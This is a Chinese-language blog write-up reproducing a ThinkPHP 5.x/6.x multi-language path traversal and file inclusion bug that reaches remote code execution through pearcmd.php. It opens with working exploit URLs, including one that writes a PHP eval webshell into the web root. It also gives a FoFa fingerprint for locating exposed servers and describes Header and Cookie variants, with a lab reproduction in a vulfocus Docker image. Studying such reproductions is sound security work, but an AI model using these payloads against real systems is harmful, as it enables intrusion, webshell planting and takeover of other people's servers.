Exp
# 写文件
http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php
# 包含文件
http://172.17.0.2/public/index.php?lang=../../../../../../../../tmp/hello
# 直接写一句话
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['ant']);?>+/var/www/html/ant.php
# Header和Cookie方式在文中
漏洞简介
如果 Thinkphp 程序开启了多语言功能,攻击者可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。
影响范围
v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x
FoFa指纹
header="think_lang"
复现过程
关于Exp,网上爆出的是:
/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami
/public/index?lang=../../../../../../../Applications/MAMP/bin/php/php5.6.40/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php
但是我尝试N遍都没成功,然后查看漏洞分析文章和pearcmd技巧:
https://tttang.com/archive/186
https://nosec.org/home/detail/5050.htm
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
同时本地部署漏洞环境:docker pull vulfocus/thinkphp:6.0.12
查看文件漏洞环境文件系统发现pearcmd路径是:/usr/local/lib/php/,如图:
测试发现使用第二个Exp,当“../”为6个的时候可以成功写入,如图:
后来再次尝试就无法写入了。通过尝试增加“../”数量,发现8个“../”时又成功了。并且可以一直成功。细心的小伙伴可能会发现写入的php代码特殊字符被url编码了,通过Burp抓包然后进行url解码即可,如图:
然后包含文件即可执行代码,如图:
从凌晨一点肝到三点,熬不住了就先睡了。醒来后对Exp进行改进,既然可以写任意文件,那就直接写一句话木马,如图:
查看漏洞环境中的文件,成功写入,如图:
然后执行代码,如图:
利用Header写入文件,如图:
利用Cookie写入文件,如图:
这里主要是利用pearcmd.php这个pecl/pear中的文件。pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。 不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。由此看来该漏洞对Docker中运行的启用了多语言模块的ThinkPHP影响较大。
Xray Poc
公众号回复ThinkPHP获取。
Comments | NOTHING